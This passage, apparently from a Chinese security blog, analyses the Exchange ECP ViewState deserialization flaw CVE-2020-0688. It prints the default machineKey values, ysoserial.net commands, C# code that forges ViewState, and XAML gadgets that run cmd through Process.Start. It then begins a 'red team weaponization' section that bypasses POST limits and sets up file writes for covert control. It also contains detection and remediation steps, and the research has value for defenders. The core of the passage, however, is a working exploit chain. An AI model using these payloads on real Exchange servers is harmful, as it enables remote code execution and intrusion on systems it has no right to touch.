&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;machineKey&amp;nbsp;validationKey=&amp;quot;000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f&amp;quot;&amp;nbsp;/&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/system.web&amp;gt;
&amp;lt;/configuration&amp;gt;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;将前面复制的输出作为QueryString或FormData，访问default.aspx，会看到w3wp.exe创建了子进程notepad。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583059987794487.png&quot; title=&quot;1.png&quot; alt=&quot;1.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x20 ecp的限制与初步利用&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x21 ecp的配置与限制&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;由于这是一个默认Key导致的漏洞，所以首先查看ecp的配置文件。配置文件存放在%ExchangeInstallPath%\ClientAccess\ecp\web.config，可以看到其中默认的validationKey：CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060038135463.png&quot; title=&quot;2.png&quot; alt=&quot;2.png&quot;/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;ecp当然不会存在前面用于测试的Test类，对反序列化非常熟悉的话可以查找一些可以利用的类。当然也可以偷个懒，借助ysoserial.net生成一个命令执行的payload：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;ysoserial.exe&amp;nbsp;-g&amp;nbsp;TypeConfuseDelegate&amp;nbsp;-c&amp;nbsp;notepad&amp;nbsp;-f&amp;nbsp;binaryformatter&amp;nbsp;-o&amp;nbsp;base64&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;修改上面的脚本生成ViewState，访问，无论GET还是POST均毫无疑问的返回404，将POST修改为GET进行伪装则返回501。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;根据501页面的内容，很明显是请求被前置模块进行了过滤；GET返回404的原因是IIS默认限制QueryString最大长度为2048；POST返回404则是在web.config中重写了全部处理程序映射，禁止了绝大部分aspx文件的POST请求方法：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060077241799.png&quot; title=&quot;3.png&quot; alt=&quot;3.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而几个允许POST的白名单中，Download.aspx并非通过PageHandlerFactory进行处理，其余的要么文件不存在，要么低权限用户无权访问。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;必须找到对这些限制进行绕过的方式才能成功利用此漏洞。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x22 无效的ViewStateUserKey&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在查找绕过方式之前，让我们回过头来，计算一下已知的ViewState进行验证，以确保ecp不存在其他奇奇怪怪的配置。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;正常访问default.aspx，复制ViewState的值，进行base64解码，并去掉最后0x14个字节。例如测试环境中的ViewState解码后的数据为ff010f0f050a2d3231303138363636396464。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;之后修改前面的代码：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;byte[]&amp;nbsp;data=new&amp;nbsp;byte[]{0xff,0x01,0x0f,0x0f,0x05,0x0a,0x2d,0x32,0x31,0x30,0x31,0x38,0x36,0x36,0x36,0x39,0x64,0x64};
byte[]&amp;nbsp;key=new&amp;nbsp;byte[]{0xCB,0x27,0x21,0xAB,0xDA,0xF8,0xE9,0xDC,0x51,0x6D,0x62,0x1D,0x8B,0x8B,0xF1,0x3A,0x2C,0x9E,0x86,0x89,0xA2,&amp;nbsp;0x53,0x03,0xBF};
int&amp;nbsp;hashcode&amp;nbsp;=&amp;nbsp;StringComparer.InvariantCultureIgnoreCase.GetHashCode(&amp;quot;/ecp&amp;quot;);
uint&amp;nbsp;_clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode(&amp;quot;default_aspx&amp;quot;));
//....
byte[]&amp;nbsp;hash=(new&amp;nbsp;HMACSHA1(key)).ComputeHash(ms.ToArray());&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;执行，返回以下结果：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060195139455.png&quot; title=&quot;4.png&quot; alt=&quot;4.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;可以看到ClientId是正确的，而Hash不同，显然页面存在ViewStateUserKey。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;修改页面输出ViewStateUserKey，可看到和cookie中ASP.NET_SessionId相同。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060229412098.png&quot; title=&quot;5.png&quot; alt=&quot;5.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而我们知道Exchange使用cookie登录而不是Session，在web.config中也移除了Session模块：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060251987357.png&quot; title=&quot;6.png&quot; alt=&quot;6.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以可推测ViewStateUserKey完全由客户端控制，将cookie中ASP.NET_SessionId置空，此时远程返回了相同的ViewState：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060278429910.png&quot; title=&quot;7.png&quot; alt=&quot;7.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;证明推论正确，这将在后续操作中节约几个步骤。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x23 更换payload进行初步利用&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;现在再反过来思考绕过的问题，首先处理程序映射属于asp.net的核心部分，不可能绕过；501检测位置不明，但删除POST包中的Content-Type后依然返回501，证明检测逻辑很可能为if(Method==&amp;quot;GET&amp;quot; &amp;amp;&amp;amp; ContentLength&amp;gt;0){501;}；最后只剩下减小payload长度一种方式。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;ysoserial.net提供了很多的payload，我们可以尝试一下其他generator，例如TextFormattingRunProperties：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;ysoserial.exe&amp;nbsp;-g&amp;nbsp;TextFormattingRunProperties&amp;nbsp;-c&amp;nbsp;notepad&amp;nbsp;-f&amp;nbsp;binaryformatter&amp;nbsp;&amp;gt;out.dat&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;将GetViewState方法中的数据进行替换，执行并生成ViewState，使用burp将cookie中ASP.NET_SessionId置空，访问，远程返回500，同时执行了命令cmd /c notepad。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060349558227.png&quot; title=&quot;8.png&quot; alt=&quot;8.png&quot;/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x24 xaml与代码执行&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;借助TextFormattingRunPropertiesGenerator，我们能够成功的通过ecp达到Exchange Server的远程代码执行，但其中的原理是什么？能否进行更深入层次的运用？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;查看ysoserial.net源码可发现，TextFormattingRunPropertiesGenerator会返回一个[Microsoft.PowerShell.Editor]Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties对象的序列化数据，同时添加了一个键名为ForegroundBrush，值为xaml字符串的序列化信息。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;public&amp;nbsp;void&amp;nbsp;GetObjectData(SerializationInfo&amp;nbsp;info,&amp;nbsp;StreamingContext&amp;nbsp;context)
{
&amp;nbsp;&amp;nbsp;Type&amp;nbsp;typeTFRP&amp;nbsp;=&amp;nbsp;typeof(TextFormattingRunProperties);
&amp;nbsp;&amp;nbsp;info.SetType(typeTFRP);
&amp;nbsp;&amp;nbsp;info.AddValue(&amp;quot;ForegroundBrush&amp;quot;,&amp;nbsp;_xaml);
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;查看Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor(SerializationInfo,StreamingContext)的代码，可以看到在反序列化过程中会取出这个xaml，之后调用[PresentationFramework]System.Windows.Markup.XamlReader.Parse进行解析：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;private&amp;nbsp;object&amp;nbsp;GetObjectFromSerializationInfo(string&amp;nbsp;name,&amp;nbsp;SerializationInfo&amp;nbsp;info)
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;string&amp;nbsp;@string&amp;nbsp;=&amp;nbsp;info.GetString(name);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(@string&amp;nbsp;==&amp;nbsp;&amp;quot;null&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;null;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;XamlReader.Parse(@string);
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;其调用堆栈大致如下：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;[PresentationFramework]System.Windows.Markup.XamlReader.Parse
Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties.GetObjectFromSerializationInfo
Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;xaml是wpf的界面组件代码，可以通过xml的形式构建窗体对象或存放运行时所需的资源。在执行XamlReader.Parse时会实例化其中声明的对象，并绑定属性。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在解析器的实现中，ResourceDictionary负责对静态资源进行存储，ObjectDataProvider作为工厂类负责通过方法调用等方式生成对象。如果为ObjectDataProvider提供恶意方法，同样可以达到代码执行的目的。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;对照ysoserial.net生成的xaml：第一行表示该xaml为一个ResourceDictionary对象；第二行将System、System.Diagnostics两个命名空间和xmlns进行映射；第三行声明了一个ObjectDataProvider，并将其ObjectType属性赋值为typeof(System.Diagnostics.Process)，MethodName属性赋值为Start；第四行至第七行声明了调用该方法是要传递的参数，分别为cmd和&amp;quot;/c notepad&amp;quot;。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;&amp;lt;ResourceDictionary&amp;nbsp;xmlns=&amp;quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:x=&amp;quot;http://schemas.microsoft.com/winfx/2006/xaml&amp;quot;
&amp;nbsp;&amp;nbsp;xmlns:System=&amp;quot;clr-namespace:System;assembly=mscorlib&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:Diag=&amp;quot;clr-namespace:System.Diagnostics;assembly=system&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;&amp;quot;&amp;nbsp;ObjectType=&amp;quot;{x:Type&amp;nbsp;Diag:Process}&amp;quot;&amp;nbsp;MethodName=&amp;quot;Start&amp;quot;&amp;nbsp;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider.MethodParameters&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;System:String&amp;gt;cmd&amp;lt;/System:String&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;System:String&amp;gt;&amp;quot;/c&amp;nbsp;notepad&amp;quot;&amp;lt;/System:String&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/ObjectDataProvider.MethodParameters&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/ObjectDataProvider&amp;gt;
&amp;lt;/ResourceDictionary&amp;gt;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;XamlReader在解析上述xaml时，首先根据根元素创建ResourceDictionary对象，该对象实现了IDirectory接口，所以其后的ObjectDataProvider将作为成员进行存储。接下来初始化ObjectDataProvider对象，并设置ObjectType、MethodName、MethodParameters三个属性。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;ObjectDataProvider在MethodParameters改变时会调用OnParametersChanged方法，最终将通过反射调用Process.Start，并传递参数。其流程和以下伪代码相对应：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;typeof(Process).GetMethod(&amp;quot;Start&amp;quot;).Invoke(null,new&amp;nbsp;object[]{&amp;quot;cmd&amp;quot;,&amp;quot;\&amp;quot;/c&amp;nbsp;notepad\&amp;quot;&amp;quot;})&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;可将xaml进行保存，然后执行下面的PowerShell脚本进行验证：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-powershell&quot;&gt;Add-Type&amp;nbsp;-AssemblyName&amp;nbsp;PresentationFramework
[System.Windows.Markup.XamlReader]::Parse([io.file]::readalltext(&amp;#39;xaml.txt&amp;#39;))&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后，我们可以将ysoserial.net中相关代码提取出来，稍作修改和之前的代码合并作为生成器：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;[Serializable]
public&amp;nbsp;class&amp;nbsp;TextFormattingRunPropertiesMarshal&amp;nbsp;:&amp;nbsp;ISerializable
{
&amp;nbsp;&amp;nbsp;protected&amp;nbsp;TextFormattingRunPropertiesMarshal(SerializationInfo&amp;nbsp;info,&amp;nbsp;StreamingContext&amp;nbsp;context){}
&amp;nbsp;&amp;nbsp;string&amp;nbsp;_xaml;
&amp;nbsp;&amp;nbsp;public&amp;nbsp;void&amp;nbsp;GetObjectData(SerializationInfo&amp;nbsp;info,&amp;nbsp;StreamingContext&amp;nbsp;context)
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;info.SetType(typeof(TextFormattingRunProperties));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;info.AddValue(&amp;quot;ForegroundBrush&amp;quot;,&amp;nbsp;_xaml);
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;public&amp;nbsp;TextFormattingRunPropertiesMarshal(string&amp;nbsp;xaml)
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_xaml&amp;nbsp;=&amp;nbsp;xaml;
&amp;nbsp;&amp;nbsp;}
}
static&amp;nbsp;byte[]&amp;nbsp;GetViewState(byte[]&amp;nbsp;data){....}
//in&amp;nbsp;main
byte[]&amp;nbsp;data=GetViewState(Serialize(new&amp;nbsp;TextFormattingRunPropertiesMarshal(xa)));&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;成功执行命令仅仅是一个开始。无论红队还是蓝队，在目标无法出网的情况下，单纯的执行命令既不能判断漏洞存在与否，也很难达成稳定隐蔽的控制。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;请记住xaml这个关键点，在后续的漏洞利用过程中是最为重要的一环。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x30 蓝队：检测与缓解措施&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x31 构造检测xaml&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在远程无回显地执行命令很难确切地知道漏洞利用成功与否，由于不确定目标环境是否能够出网，即使有dnslog这种方式也很难做到完整检测。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以我们需要一种简单的方式进行验证。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;xaml不光支持调用静态方法，同样支持获取静态属性、获取实例属性或调用实例方法。于是可以通过[System.Web]System.Web.HttpContext::Current获取当前Http上下文，并对Response进行操作。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;&amp;lt;ResourceDictionary&amp;nbsp;xmlns=&amp;quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:x=&amp;quot;http://schemas.microsoft.com/winfx/2006/xaml&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:s=&amp;quot;clr-namespace:System;assembly=mscorlib&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:w=&amp;quot;clr-namespace:System.Web;assembly=System.Web&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;a&amp;quot;&amp;nbsp;ObjectInstance=&amp;quot;{x:Static&amp;nbsp;w:HttpContext.Current}&amp;quot;&amp;nbsp;MethodName=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/ObjectDataProvider&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;b&amp;quot;&amp;nbsp;ObjectInstance=&amp;quot;{StaticResource&amp;nbsp;a}&amp;quot;&amp;nbsp;MethodName=&amp;quot;get_Response&amp;quot;&amp;gt;&amp;lt;/ObjectDataProvider&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;c&amp;quot;&amp;nbsp;ObjectInstance=&amp;quot;{StaticResource&amp;nbsp;b}&amp;quot;&amp;nbsp;MethodName=&amp;quot;get_Headers&amp;quot;&amp;gt;&amp;lt;/ObjectDataProvider&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;d&amp;quot;&amp;nbsp;ObjectInstance=&amp;quot;{StaticResource&amp;nbsp;c}&amp;quot;&amp;nbsp;MethodName=&amp;quot;Add&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider.MethodParameters&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;s:String&amp;gt;X-ZCG-TEST&amp;lt;/s:String&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;s:String&amp;gt;CVE-2020-0688&amp;lt;/s:String&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/ObjectDataProvider.MethodParameters&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;/ObjectDataProvider&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;e&amp;quot;&amp;nbsp;ObjectInstance=&amp;quot;{StaticResource&amp;nbsp;b}&amp;quot;&amp;nbsp;MethodName=&amp;quot;End&amp;quot;&amp;gt;&amp;lt;/ObjectDataProvider&amp;gt;
&amp;lt;/ResourceDictionary&amp;gt;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;上述xaml在加载时的流程等同于：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;var&amp;nbsp;a=HttpContext.Current;
var&amp;nbsp;b=a.Response;
var&amp;nbsp;c=b.Headers;
c.Add(&amp;quot;X-ZCG-TEST&amp;quot;,&amp;quot;CVE-2020-0688&amp;quot;);
b.End();&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;修改生成payload，访问，可看到增加了一个返回头X-ZCG-TEST，其值为CVE-2020-0688。和执行命令的poc不同，由于调用了Response.End，不会导致后续异常，返回状态码为正常的200。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060669536873.png&quot; title=&quot;9.png&quot; alt=&quot;9.png&quot;/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;当然，调用诸如Response.AppendCookie、Response.AddHeader等方法都是可以的，只要最终生成的QueryString不超过2048就不会有任何问题。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x32 修复措施&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;由于ecp本身不使用任何ViewState相关的方法（事实上在多个页面中禁用了ViewState），最简单的修复方式就是删除web.config中machineKey一节：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;&amp;lt;machineKey&amp;nbsp;validationKey=&amp;quot;CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF&amp;quot;&amp;nbsp;decryptionKey=&amp;quot;E9D2490BD0075B51D1BA5288514514AF&amp;quot;&amp;nbsp;validation=&amp;quot;SHA1&amp;quot;&amp;nbsp;decryption=&amp;quot;3DES&amp;quot;&amp;nbsp;/&amp;gt;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;之后ecp会自动重启，随后将采用随机生成的0x400长度的key进行加密。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x40 红队：武器化&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x41 绕过POST限制&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;红队操作更考虑隐蔽以及稳定控制，限制长度的Payload具有非常大的局限性，很难实现完美控制。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;POST不受长度限制但默认被禁用，所有不需要权限的白名单文件均不存在。如果创建一个原本不存在的白名单文件，能否进行绕过？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;那么进行测试，从web.config中随便挑一个允许POST且不存在的aspx文件，例如LiveIdError.aspx。在测试环境的ecp目录创建这个空文件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;之后修改之前的代码：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;uint&amp;nbsp;_clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode(&amp;quot;liveiderror_aspx&amp;quot;));&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;编译执行访问，可看到返回了测试标识，证明思路有效。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583060765690801.png&quot; title=&quot;10.png&quot; alt=&quot;10.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x42 构造写入文件的xaml&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;那么现在的问题就变成了：如何通过简短的反序列化，在ecp目录创建一个指定名称的空白文件？熟悉.net的人可能会瞬间给出答案，System.IO.File::AppendAllText(string,string)可以向指定路径的文件追加指定内容，当文件不存在时会创建。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;使用此方法还有一个小问题，AppendAllText第一个参数如果是相对路径的话，将在CurrentDirectory创建文件，而绝大多数情况下w3wp的CurrentDirectory为%systemroot%\system32\inetsrv。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;简单粗暴的解决这个问题有两种方案：由于Exchange会将安装目录保存在环境变量ExchangeInstallPath中，所以直接调用cmd进行echo即可；或者直接使用默认安装路径C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;第一种可能会触发某些监控，第二种则存在小概率修改目录的可能。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这两种方案的xaml分别如下：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;&amp;lt;ResourceDictionary&amp;nbsp;xmlns=&amp;quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:x=&amp;quot;http://schemas.microsoft.com/winfx/2006/xaml&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:System=&amp;quot;clr-namespace:System;assembly=mscorlib&amp;quot;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xmlns:Diag=&amp;quot;clr-namespace:System.Diagnostics;assembly=system&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider&amp;nbsp;x:Key=&amp;quot;&amp;quot;&amp;nbsp;ObjectType=&amp;quot;{x:Type&amp;nbsp;Diag:Process}&amp;quot;&amp;nbsp;MethodName=&amp;quot;Start&amp;quot;&amp;nbsp;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;ObjectDataProvider.MethodParameters&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;System:String&amp;gt;cmd&amp;lt;/System:String&amp;gt;
